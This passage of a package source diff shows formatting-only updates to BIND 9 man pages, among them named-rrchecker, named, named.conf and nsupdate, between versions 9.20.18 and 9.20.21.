0.0 @@ -148,7 +149,7 @@ .B \-l ttl This option sets a maximum permissible TTL for the input file. Any record with a TTL higher than this value causes the zone to be rejected. This -is similar to using the \fBmax\-zone\-ttl\fP option in \fI\%named.conf\fP\&. +is similar to using the \fBmax\-zone\-ttl\fP option in \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .UNINDENT .INDENT 0.0 .TP @@ -209,9 +210,9 @@ .INDENT 0.0 .TP .B \-t directory -This option tells \fI\%named\fP to chroot to \fBdirectory\fP, so that \fBinclude\fP directives in the +This option tells \fBnamed\fP \%<#\:std-iscman-named> to chroot to \fBdirectory\fP, so that \fBinclude\fP directives in the configuration file are processed as if run by a similarly chrooted -\fI\%named\fP\&. +\fBnamed\fP \%<#\:std-iscman-named>\&. .UNINDENT .INDENT 0.0 .TP @@ -223,9 +224,9 @@ .INDENT 0.0 .TP .B \-w directory -This option instructs \fI\%named\fP to chdir to \fBdirectory\fP, so that relative filenames in master file +This option instructs \fBnamed\fP \%<#\:std-iscman-named> to chdir to \fBdirectory\fP, so that relative filenames in master file \fB$INCLUDE\fP directives work. This is similar to the directory clause in -\fI\%named.conf\fP\&. +\fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .UNINDENT .INDENT 0.0 .TP @@ -237,7 +238,7 @@ .B \-W mode This option specifies whether to check for non\-terminal wildcards. Non\-terminal wildcards are almost always the result of a failure to understand the -wildcard matching algorithm (\X'tty: link https://datatracker.ietf.org/doc/html/rfc4592.html'\fI\%RFC 4592\fP\X'tty: link'). Possible modes are \fBwarn\fP +wildcard matching algorithm (\fBRFC 4592\fP \%). Possible modes are \fBwarn\fP (the default) and \fBignore\fP\&. .UNINDENT .INDENT 0.0 @@ -256,11 +257,10 @@ and 0 otherwise. .SH SEE ALSO .sp -\fI\%named(8)\fP, \fI\%named\-checkconf(8)\fP, \fI\%named\-compilezone(8)\fP, \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link', BIND 9 Administrator Reference +\fBnamed(8)\fP \%<#\:std-iscman-named>, \fBnamed\-checkconf(8)\fP \%<#\:std-iscman-named-checkconf>, \fBnamed\-compilezone(8)\fP \%<#\:std-iscman-named-compilezone>, \fBRFC 1035\fP \%, BIND 9 Administrator Reference Manual. -.SH AUTHOR +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/named-compilezone.1in bind9-9.20.21/doc/man/named-compilezone.1in --- bind9-9.20.18/doc/man/named-compilezone.1in 2026-01-09 13:41:22.358978470 +0000 +++ bind9-9.20.21/doc/man/named-compilezone.1in 2026-03-13 22:17:47.224254005 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -40,13 +41,13 @@ .sp Unlike \fBnamed\-checkzone\fP, zone contents are not strictly checked by default. If the output is to be used as an actual zone file to be loaded -by \fI\%named\fP, then the check levels should be manually configured to -be at least as strict as those specified in the \fI\%named\fP configuration +by \fBnamed\fP \%<#\:std-iscman-named>, then the check levels should be manually configured to +be at least as strict as those specified in the \fBnamed\fP \%<#\:std-iscman-named> configuration file. .sp Running \fBnamed\-checkzone\fP on the input prior to compiling will ensure that the zone compiles with the default requirements of -\fI\%named\fP\&. +\fBnamed\fP \%<#\:std-iscman-named>\&. .SH OPTIONS .INDENT 0.0 .TP @@ -67,20 +68,20 @@ .INDENT 0.0 .TP .B \-v -This option prints the version of the \fI\%named\-checkzone\fP program and exits. +This option prints the version of the \fBnamed\-checkzone\fP \%<#\:std-iscman-named-checkzone> program and exits. .UNINDENT .INDENT 0.0 .TP .B \-j -When loading a zone file, this option tells \fI\%named\fP to read the journal if it exists. The journal +When loading a zone file, this option tells \fBnamed\fP \%<#\:std-iscman-named> to read the journal if it exists. The journal file name is assumed to be the zone file name with the string \fB\&.jnl\fP appended. .UNINDENT .INDENT 0.0 .TP .B \-J filename -When loading the zone file, this option tells \fI\%named\fP to read the journal from the given file, if -it exists. This implies \fI\%\-j\fP\&. +When loading the zone file, this option tells \fBnamed\fP \%<#\:std-iscman-named> to read the journal from the given file, if +it exists. This implies \fB\-j\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -135,14 +136,14 @@ .TP .B \-F format This option specifies the format of the output file specified. For -\fI\%named\-checkzone\fP, this does not have any effect unless it dumps +\fBnamed\-checkzone\fP \%<#\:std-iscman-named-checkzone>, this does not have any effect unless it dumps the zone contents. .sp Possible formats are \fBtext\fP (the default), which is the standard textual representation of the zone, and \fBraw\fP and \fBraw=N\fP, which -store the zone in a binary format for rapid loading by \fI\%named\fP\&. +store the zone in a binary format for rapid loading by \fBnamed\fP \%<#\:std-iscman-named>\&. \fBraw=N\fP specifies the format version of the raw zone file: if \fBN\fP is -0, the raw file can be read by any version of \fI\%named\fP; if N is 1, the +0, the raw file can be read by any version of \fBnamed\fP \%<#\:std-iscman-named>; if N is 1, the file can only be read by release 9.9.0 or higher. The default is 1. .UNINDENT .INDENT 0.0 @@ -156,7 +157,7 @@ .B \-l ttl This option sets a maximum permissible TTL for the input file. Any record with a TTL higher than this value causes the zone to be rejected. This -is similar to using the \fBmax\-zone\-ttl\fP option in \fI\%named.conf\fP\&. +is similar to using the \fBmax\-zone\-ttl\fP option in \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .UNINDENT .INDENT 0.0 .TP @@ -216,9 +217,9 @@ .INDENT 0.0 .TP .B \-t directory -This option tells \fI\%named\fP to chroot to \fBdirectory\fP, so that \fBinclude\fP directives in the +This option tells \fBnamed\fP \%<#\:std-iscman-named> to chroot to \fBdirectory\fP, so that \fBinclude\fP directives in the configuration file are processed as if run by a similarly chrooted -\fI\%named\fP\&. +\fBnamed\fP \%<#\:std-iscman-named>\&. .UNINDENT .INDENT 0.0 .TP @@ -230,9 +231,9 @@ .INDENT 0.0 .TP .B \-w directory -This option instructs \fI\%named\fP to chdir to \fBdirectory\fP, so that relative filenames in master file +This option instructs \fBnamed\fP \%<#\:std-iscman-named> to chdir to \fBdirectory\fP, so that relative filenames in master file \fB$INCLUDE\fP directives work. This is similar to the directory clause in -\fI\%named.conf\fP\&. +\fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .UNINDENT .INDENT 0.0 .TP @@ -245,7 +246,7 @@ .B \-W mode This option specifies whether to check for non\-terminal wildcards. Non\-terminal wildcards are almost always the result of a failure to understand the -wildcard matching algorithm (\X'tty: link https://datatracker.ietf.org/doc/html/rfc4592.html'\fI\%RFC 4592\fP\X'tty: link'). Possible modes are \fBwarn\fP +wildcard matching algorithm (\fBRFC 4592\fP \%). Possible modes are \fBwarn\fP and \fBignore\fP (the default). .UNINDENT .INDENT 0.0 @@ -264,11 +265,10 @@ and 0 otherwise. .SH SEE ALSO .sp -\fI\%named(8)\fP, \fI\%named\-checkconf(8)\fP, \fI\%named\-checkzone(8)\fP, \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link', +\fBnamed(8)\fP \%<#\:std-iscman-named>, \fBnamed\-checkconf(8)\fP \%<#\:std-iscman-named-checkconf>, \fBnamed\-checkzone(8)\fP \%<#\:std-iscman-named-checkzone>, \fBRFC 1035\fP \%, BIND 9 Administrator Reference Manual. -.SH AUTHOR +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/named-journalprint.1in bind9-9.20.21/doc/man/named-journalprint.1in --- bind9-9.20.18/doc/man/named-journalprint.1in 2026-01-09 13:41:22.361978550 +0000 +++ bind9-9.20.21/doc/man/named-journalprint.1in 2026-03-13 22:17:47.227254051 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -39,8 +40,8 @@ printing it in a human\-readable form, or, optionally, converting it to a different journal file format. .sp -Journal files are automatically created by \fI\%named\fP when changes are -made to dynamic zones (e.g., by \fI\%nsupdate\fP). They record each addition +Journal files are automatically created by \fBnamed\fP \%<#\:std-iscman-named> when changes are +made to dynamic zones (e.g., by \fBnsupdate\fP \%<#\:std-iscman-nsupdate>). They record each addition or deletion of a resource record, in binary format, allowing the changes to be re\-applied to the zone when the server is restarted after a shutdown or crash. By default, the name of the journal file is formed by @@ -54,7 +55,7 @@ .sp The \fB\-c\fP (compact) option provides a mechanism to reduce the size of a journal by removing (most/all) transactions prior to the specified -serial number. Note: this option \fImust not\fP be used while \fI\%named\fP is +serial number. Note: this option \fImust not\fP be used while \fBnamed\fP \%<#\:std-iscman-named> is running, and can cause data loss if the zone file has not been updated to contain the data being removed from the journal. Use with extreme caution. .sp @@ -67,13 +68,12 @@ versions of BIND up to 9.16.11; \fB\-u\fP writes it out in the format used by versions since 9.16.13. (9.16.12 is omitted due to a journal\-formatting bug in that release.) Note that these options \fImust not\fP be used while -\fI\%named\fP is running. +\fBnamed\fP \%<#\:std-iscman-named> is running. .SH SEE ALSO .sp -\fI\%named(8)\fP, \fI\%nsupdate(1)\fP, BIND 9 Administrator Reference Manual. -.SH AUTHOR +\fBnamed(8)\fP \%<#\:std-iscman-named>, \fBnsupdate(1)\fP \%<#\:std-iscman-nsupdate>, BIND 9 Administrator Reference Manual. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/named-nzd2nzf.1in bind9-9.20.21/doc/man/named-nzd2nzf.1in --- bind9-9.20.18/doc/man/named-nzd2nzf.1in 2026-01-09 13:41:22.362978576 +0000 +++ bind9-9.20.21/doc/man/named-nzd2nzf.1in 2026-03-13 22:17:47.228254067 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -37,7 +38,7 @@ .sp \fBnamed\-nzd2nzf\fP converts an NZD database to NZF format and prints it to standard output. This can be used to review the configuration of -zones that were added to \fI\%named\fP via \fI\%rndc addzone\fP\&. It can also be +zones that were added to \fBnamed\fP \%<#\:std-iscman-named> via \fBrndc addzone\fP \%<#\:cmdoption-rndc-arg-addzone>\&. It can also be used to restore the old file format when rolling back from a newer version of BIND to an older version. .SH ARGUMENTS @@ -49,9 +50,8 @@ .SH SEE ALSO .sp BIND 9 Administrator Reference Manual. -.SH AUTHOR +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/named-rrchecker.1in bind9-9.20.21/doc/man/named-rrchecker.1in --- bind9-9.20.18/doc/man/named-rrchecker.1in 2026-01-09 13:41:22.373978869 +0000 +++ bind9-9.20.21/doc/man/named-rrchecker.1in 2026-03-13 22:17:47.241254269 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -55,9 +56,9 @@ Leading and trailing whitespace in each field is ignored. .UNINDENT .sp -Format details can be found in \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html#section-5.1'\fI\%RFC 1035 Section 5.1\fP\X'tty: link' under \fB\fP -specification. \X'tty: link https://datatracker.ietf.org/doc/html/rfc3597.html'\fI\%RFC 3597\fP\X'tty: link' format is also accepted in any of the input fields. -See \fI\%Examples\fP\&. +Format details can be found in \fBRFC 1035 Section 5.1\fP \% under \fB\fP +specification. \fBRFC 3597\fP \% format is also accepted in any of the input fields. +See Examples\&. .SH OPTIONS .INDENT 0.0 .TP @@ -69,13 +70,13 @@ .TP .B \-p This option prints out the resulting record in canonical form. If there -is no canonical form defined, the record is printed in \X'tty: link https://datatracker.ietf.org/doc/html/rfc3597.html'\fI\%RFC 3597\fP\X'tty: link' unknown +is no canonical form defined, the record is printed in \fBRFC 3597\fP \% unknown record format. .UNINDENT .INDENT 0.0 .TP .B \-u -This option prints out the resulting record in \X'tty: link https://datatracker.ietf.org/doc/html/rfc3597.html'\fI\%RFC 3597\fP\X'tty: link' unknown record +This option prints out the resulting record in \fBRFC 3597\fP \% unknown record format. .UNINDENT .INDENT 0.0 @@ -98,7 +99,7 @@ .B echo \-n \(aqIN A 192.0.2.1\(aq | named\-rrchecker .INDENT 7.0 .IP \(bu 2 -Valid input is in \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link' format with no newline at the end of the input. +Valid input is in \fBRFC 1035\fP \% format with no newline at the end of the input. .IP \(bu 2 Return code 0. .UNINDENT @@ -148,7 +149,7 @@ .UNINDENT .SS Special characters .sp -Special characters allowed in zone files by \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html#section-5.1'\fI\%RFC 1035 Section 5.1\fP\X'tty: link' are accepted. +Special characters allowed in zone files by \fBRFC 1035 Section 5.1\fP \% are accepted. .INDENT 0.0 .TP .B echo \(aqIN CNAME t\e097r\eget\e.\(aq | named\-rrchecker \-p \-o origin.test @@ -211,7 +212,7 @@ .IP \(bu 2 Output: \fBIN TXT \(dqtwo\(dq \(dqwords\(dq\fP .IP \(bu 2 -Two unquoted words in the input are treated as two \fI\fPs per \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html#section-3.3.14'\fI\%RFC 1035 Section 3.3.14\fP\X'tty: link'\&. +Two unquoted words in the input are treated as two \fI\fPs per \fBRFC 1035 Section 3.3.14\fP \%\&. .IP \(bu 2 Trailing whitespace is omitted from the last \fI\fP\&. .UNINDENT @@ -272,7 +273,7 @@ .INDENT 7.0 .IP \(bu 2 Valid HTTPS record with individual sub\-fields split across multiple lines -using \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html#section-5.1'\fI\%RFC 1035 Section 5.1\fP\X'tty: link' parentheses syntax to group data that crosses +using \fBRFC 1035 Section 5.1\fP \% parentheses syntax to group data that crosses a line boundary. .IP \(bu 2 Note the missing whitespace between the closing parenthesis and adjacent tokens. @@ -286,31 +287,31 @@ .B echo \(aqIN A 192.0.2.1\(aq | named\-rrchecker \-u .INDENT 7.0 .IP \(bu 2 -Valid input in \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link' format. +Valid input in \fBRFC 1035\fP \% format. .IP \(bu 2 -Output in \X'tty: link https://datatracker.ietf.org/doc/html/rfc3957.html'\fI\%RFC 3957\fP\X'tty: link' format: \fBCLASS1 TYPE1 \e# 4 C0000201\fP +Output in \fBRFC 3957\fP \% format: \fBCLASS1 TYPE1 \e# 4 C0000201\fP .UNINDENT .TP .B echo \(aqCLASS1 TYPE1 \e# 4 C0000201\(aq | named\-rrchecker \-p .INDENT 7.0 .IP \(bu 2 -Valid input in \X'tty: link https://datatracker.ietf.org/doc/html/rfc3597.html'\fI\%RFC 3597\fP\X'tty: link' format. +Valid input in \fBRFC 3597\fP \% format. .IP \(bu 2 -Output in \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link' format: \fBIN A 192.0.2.1\fP +Output in \fBRFC 1035\fP \% format: \fBIN A 192.0.2.1\fP .UNINDENT .TP .B echo \(aqIN A \e# 4 C0000201\(aq | named\-rrchecker \-p .INDENT 7.0 .IP \(bu 2 -Valid input with class and type in \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link' format and rdata in \X'tty: link https://datatracker.ietf.org/doc/html/rfc3597.html'\fI\%RFC 3597\fP\X'tty: link' format. +Valid input with class and type in \fBRFC 1035\fP \% format and rdata in \fBRFC 3597\fP \% format. .IP \(bu 2 -Output in \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link' format: \fBIN A 192.0.2.1\fP +Output in \fBRFC 1035\fP \% format: \fBIN A 192.0.2.1\fP .UNINDENT .TP .B echo \(aqIN HTTPS 1 . key3=\e001\e000\(aq | named\-rrchecker \-p .INDENT 7.0 .IP \(bu 2 -Valid input with \X'tty: link https://datatracker.ietf.org/doc/html/rfc9460.html'\fI\%RFC 9460\fP\X'tty: link' syntax for an unknown \fIkey3\fP field. Syntax \fB\e001\e000\fP produces two octets with values 1 and 0, respectively. +Valid input with \fBRFC 9460\fP \% syntax for an unknown \fIkey3\fP field. Syntax \fB\e001\e000\fP produces two octets with values 1 and 0, respectively. .IP \(bu 2 Output: \fBIN HTTPS 1 . port=256\fP .IP \(bu 2 @@ -364,10 +365,9 @@ .UNINDENT .SH SEE ALSO .sp -\X'tty: link https://datatracker.ietf.org/doc/html/rfc1034.html'\fI\%RFC 1034\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc3957.html'\fI\%RFC 3957\fP\X'tty: link', \fI\%named(8)\fP\&. -.SH AUTHOR +\fBRFC 1034\fP \%, \fBRFC 1035\fP \%, \fBRFC 3957\fP \%, \fBnamed(8)\fP \%<#\:std-iscman-named>\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/named.8in bind9-9.20.21/doc/man/named.8in --- bind9-9.20.18/doc/man/named.8in 2026-01-09 13:41:22.386979214 +0000 +++ bind9-9.20.21/doc/man/named.8in 2026-03-13 22:17:47.252254439 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -36,8 +37,8 @@ .SH DESCRIPTION .sp \fBnamed\fP is a Domain Name System (DNS) server, part of the BIND 9 -distribution from ISC. For more information on the DNS, see \X'tty: link https://datatracker.ietf.org/doc/html/rfc1033.html'\fI\%RFC 1033\fP\X'tty: link', -\X'tty: link https://datatracker.ietf.org/doc/html/rfc1034.html'\fI\%RFC 1034\fP\X'tty: link', and \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link'\&. +distribution from ISC. For more information on the DNS, see \fBRFC 1033\fP \%, +\fBRFC 1034\fP \%, and \fBRFC 1035\fP \%\&. .sp When invoked without arguments, \fBnamed\fP reads the default configuration file \fB@sysconfdir@/named.conf\fP, reads any initial data, and @@ -46,14 +47,14 @@ .INDENT 0.0 .TP .B \-4 -This option tells \fBnamed\fP to use only IPv4, even if the host machine is capable of IPv6. \fI\%\-4\fP and -\fI\%\-6\fP are mutually exclusive. +This option tells \fBnamed\fP to use only IPv4, even if the host machine is capable of IPv6. \fB\-4\fP and +\fB\-6\fP are mutually exclusive. .UNINDENT .INDENT 0.0 .TP .B \-6 -This option tells \fBnamed\fP to use only IPv6, even if the host machine is capable of IPv4. \fI\%\-4\fP and -\fI\%\-6\fP are mutually exclusive. +This option tells \fBnamed\fP to use only IPv6, even if the host machine is capable of IPv4. \fB\-4\fP and +\fB\-6\fP are mutually exclusive. .UNINDENT .INDENT 0.0 .TP @@ -70,7 +71,7 @@ This option prints out the default built\-in configuration and exits. .sp NOTE: This is for debugging purposes only and is not an -accurate representation of the actual configuration used by \fI\%named\fP +accurate representation of the actual configuration used by \fBnamed\fP at runtime. .UNINDENT .INDENT 0.0 @@ -169,7 +170,7 @@ This option writes memory usage statistics to \fBstdout\fP on exit. .UNINDENT .sp -\fBNOTE:\fP +\fBNote:\fP .INDENT 0.0 .INDENT 3.5 This option is mainly of interest to BIND 9 developers and may be @@ -183,10 +184,10 @@ before reading the configuration file. .UNINDENT .sp -\fBWARNING:\fP +\fBWarning:\fP .INDENT 0.0 .INDENT 3.5 -This option should be used in conjunction with the \fI\%\-u\fP option, +This option should be used in conjunction with the \fB\-u\fP option, as chrooting a process running as root doesn\(aqt enhance security on most systems; the way \fBchroot\fP is defined allows a process with root privileges to escape a chroot jail. @@ -204,13 +205,13 @@ creating sockets that listen on privileged ports. .UNINDENT .sp -\fBNOTE:\fP +\fBNote:\fP .INDENT 0.0 .INDENT 3.5 On Linux, \fBnamed\fP uses the kernel\(aqs capability mechanism to drop all root privileges except the ability to \fBbind\fP to a privileged port and set process resource limits. Unfortunately, -this means that the \fI\%\-u\fP option only works when \fBnamed\fP is run +this means that the \fB\-u\fP option only works when \fBnamed\fP is run on kernel 2.2.18 or later, or kernel 2.3.99\-pre3 or later, since previous kernels did not allow privileges to be retained after \fBsetuid\fP\&. @@ -235,7 +236,7 @@ .SH SIGNALS .sp In routine operation, signals should not be used to control the -nameserver; \fI\%rndc\fP should be used instead. +nameserver; \fBrndc\fP \%<#\:std-iscman-rndc> should be used instead. .INDENT 0.0 .TP .B SIGHUP @@ -267,10 +268,9 @@ .UNINDENT .SH SEE ALSO .sp -\X'tty: link https://datatracker.ietf.org/doc/html/rfc1033.html'\fI\%RFC 1033\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc1034.html'\fI\%RFC 1034\fP\X'tty: link', \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link', \fI\%named\-checkconf(8)\fP, \fI\%named\-checkzone(8)\fP, \fI\%rndc(8)\fP, \fI\%named.conf(5)\fP, BIND 9 Administrator Reference Manual. -.SH AUTHOR +\fBRFC 1033\fP \%, \fBRFC 1034\fP \%, \fBRFC 1035\fP \%, \fBnamed\-checkconf(8)\fP \%<#\:std-iscman-named-checkconf>, \fBnamed\-checkzone(8)\fP \%<#\:std-iscman-named-checkzone>, \fBrndc(8)\fP \%<#\:std-iscman-rndc>, \fBnamed.conf(5)\fP \%<#\:std-iscman-named\:.conf>, BIND 9 Administrator Reference Manual. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/named.conf.5in bind9-9.20.21/doc/man/named.conf.5in --- bind9-9.20.18/doc/man/named.conf.5in 2026-01-09 13:41:22.376978948 +0000 +++ bind9-9.20.21/doc/man/named.conf.5in 2026-03-13 22:17:47.244254315 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -35,7 +36,7 @@ \fBnamed.conf\fP .SH DESCRIPTION .sp -\fBnamed.conf\fP is the configuration file for \fI\%named\fP\&. +\fBnamed.conf\fP is the configuration file for \fBnamed\fP \%<#\:std-iscman-named>\&. .sp For complete documentation about the configuration statements, please refer to the Configuration Reference section in the BIND 9 Administrator Reference @@ -993,10 +994,9 @@ \fB@sysconfdir@/named.conf\fP .SH SEE ALSO .sp -\fI\%named(8)\fP, \fI\%named\-checkconf(8)\fP, \fI\%rndc(8)\fP, \fI\%rndc\-confgen(8)\fP, \fI\%tsig\-keygen(8)\fP, BIND 9 Administrator Reference Manual. -.SH AUTHOR +\fBnamed(8)\fP \%<#\:std-iscman-named>, \fBnamed\-checkconf(8)\fP \%<#\:std-iscman-named-checkconf>, \fBrndc(8)\fP \%<#\:std-iscman-rndc>, \fBrndc\-confgen(8)\fP \%<#\:std-iscman-rndc-confgen>, \fBtsig\-keygen(8)\fP \%<#\:std-iscman-tsig-keygen>, BIND 9 Administrator Reference Manual. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/nsec3hash.1in bind9-9.20.21/doc/man/nsec3hash.1in --- bind9-9.20.18/doc/man/nsec3hash.1in 2026-01-09 13:41:22.389979294 +0000 +++ bind9-9.20.21/doc/man/nsec3hash.1in 2026-03-13 22:17:47.254254471 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -77,10 +78,9 @@ .UNINDENT .SH SEE ALSO .sp -BIND 9 Administrator Reference Manual, \X'tty: link https://datatracker.ietf.org/doc/html/rfc5155.html'\fI\%RFC 5155\fP\X'tty: link'\&. -.SH AUTHOR +BIND 9 Administrator Reference Manual, \fBRFC 5155\fP \%\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/nslookup.1in bind9-9.20.21/doc/man/nslookup.1in --- bind9-9.20.18/doc/man/nslookup.1in 2026-01-09 13:41:22.394979427 +0000 +++ bind9-9.20.21/doc/man/nslookup.1in 2026-03-13 22:17:47.260254564 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -75,9 +76,9 @@ .INDENT 0.0 .TP .B \fBhost [server]\fP -This command looks up information for \fI\%host\fP using the current default server or -using \fBserver\fP, if specified. If \fI\%host\fP is an Internet address and the -query type is A or PTR, the name of the host is returned. If \fI\%host\fP is +This command looks up information for \fBhost\fP \%<#\:std-iscman-host> using the current default server or +using \fBserver\fP, if specified. If \fBhost\fP \%<#\:std-iscman-host> is an Internet address and the +query type is A or PTR, the name of the host is returned. If \fBhost\fP \%<#\:std-iscman-host> is a name and does not have a trailing period (\fB\&.\fP), the search list is used to qualify the name. .sp @@ -214,10 +215,9 @@ \fB/etc/resolv.conf\fP .SH SEE ALSO .sp -\fI\%dig(1)\fP, \fI\%host(1)\fP, \fI\%named(8)\fP\&. -.SH AUTHOR +\fBdig(1)\fP \%<#\:std-iscman-dig>, \fBhost(1)\fP \%<#\:std-iscman-host>, \fBnamed(8)\fP \%<#\:std-iscman-named>\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/nsupdate.1in bind9-9.20.21/doc/man/nsupdate.1in --- bind9-9.20.18/doc/man/nsupdate.1in 2026-01-09 13:41:22.411979878 +0000 +++ bind9-9.20.21/doc/man/nsupdate.1in 2026-03-13 22:17:47.277254828 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -36,7 +37,7 @@ .SH DESCRIPTION .sp \fBnsupdate\fP is used to submit Dynamic DNS Update requests, as defined in -\X'tty: link https://datatracker.ietf.org/doc/html/rfc2136.html'\fI\%RFC 2136\fP\X'tty: link', to a name server. This allows resource records to be added or +\fBRFC 2136\fP \%, to a name server. This allows resource records to be added or removed from a zone without manually editing the zone file. A single update request can contain requests to add or remove more than one resource record. @@ -51,25 +52,25 @@ zone\(aqs SOA record. .sp Transaction signatures can be used to authenticate the Dynamic DNS -updates. These use the TSIG resource record type described in \X'tty: link https://datatracker.ietf.org/doc/html/rfc2845.html'\fI\%RFC 2845\fP\X'tty: link', -the SIG(0) record described in \X'tty: link https://datatracker.ietf.org/doc/html/rfc2535.html'\fI\%RFC 2535\fP\X'tty: link' and \X'tty: link https://datatracker.ietf.org/doc/html/rfc2931.html'\fI\%RFC 2931\fP\X'tty: link', or GSS\-TSIG as -described in \X'tty: link https://datatracker.ietf.org/doc/html/rfc3645.html'\fI\%RFC 3645\fP\X'tty: link'\&. +updates. These use the TSIG resource record type described in \fBRFC 2845\fP \%, +the SIG(0) record described in \fBRFC 2535\fP \% and \fBRFC 2931\fP \%, or GSS\-TSIG as +described in \fBRFC 3645\fP \%\&. .sp TSIG relies on a shared secret that should only be known to \fBnsupdate\fP and the name server. For instance, suitable \fBkey\fP and \fBserver\fP statements are added to \fB@sysconfdir@/named.conf\fP so that the name server can associate the appropriate secret key and algorithm with the IP address of the client application that is using TSIG -authentication. \fI\%ddns\-confgen\fP can generate suitable -configuration fragments. \fBnsupdate\fP uses the \fI\%\-y\fP or \fI\%\-k\fP options +authentication. \fBddns\-confgen\fP \%<#\:std-iscman-ddns-confgen> can generate suitable +configuration fragments. \fBnsupdate\fP uses the \fB\-y\fP or \fB\-k\fP options to provide the TSIG shared secret; these options are mutually exclusive. .sp SIG(0) uses public key cryptography. To use a SIG(0) key, the public key must be stored in a KEY record in a zone served by the name server. .sp GSS\-TSIG uses Kerberos credentials. Standard GSS\-TSIG mode is switched -on with the \fI\%\-g\fP flag. A non\-standards\-compliant variant of GSS\-TSIG -used by Windows 2000 can be switched on with the \fI\%\-o\fP flag. +on with the \fB\-g\fP flag. A non\-standards\-compliant variant of GSS\-TSIG +used by Windows 2000 can be switched on with the \fB\-o\fP flag. .SH OPTIONS .INDENT 0.0 .TP @@ -88,8 +89,8 @@ (in PEM format) in order to verify the remote server TLS certificate when using DNS\-over\-TLS (DoT), to achieve Strict or Mutual TLS. When used, it will override the certificates from the global certificates store, which are -otherwise used by default when \fI\%\-S\fP is enabled. This option can not -be used in conjuction with \fI\%\-O\fP, and it implies \fI\%\-S\fP\&. +otherwise used by default when \fB\-S\fP is enabled. This option can not +be used in conjuction with 